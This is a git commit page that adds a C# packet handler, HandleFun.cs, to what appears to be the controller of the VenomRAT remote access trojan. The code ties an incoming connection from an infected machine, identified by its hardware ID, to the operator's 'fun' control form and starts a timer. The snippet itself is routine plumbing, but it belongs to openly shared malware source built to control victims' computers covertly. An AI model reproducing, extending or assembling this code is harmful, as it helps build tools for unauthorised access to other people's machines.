VenomRat
This commit is contained in:
25
Handle_Packet/HandleFun.cs
Normal file
25
Handle_Packet/HandleFun.cs
Normal file
@@ -0,0 +1,25 @@
|
||||
using System.Windows.Forms;
|
||||
using MessagePackLib.MessagePack;
|
||||
using Server.Connection;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Handle_Packet;
|
||||
|
||||
public class HandleFun
|
||||
{
|
||||
public void Fun(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
FormFun formFun = (FormFun)Application.OpenForms["fun:" + unpack_msgpack.ForcePathObject("Hwid").AsString];
|
||||
if (formFun != null && formFun.Client == null)
|
||||
{
|
||||
formFun.Client = client;
|
||||
formFun.timer1.Enabled = true;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user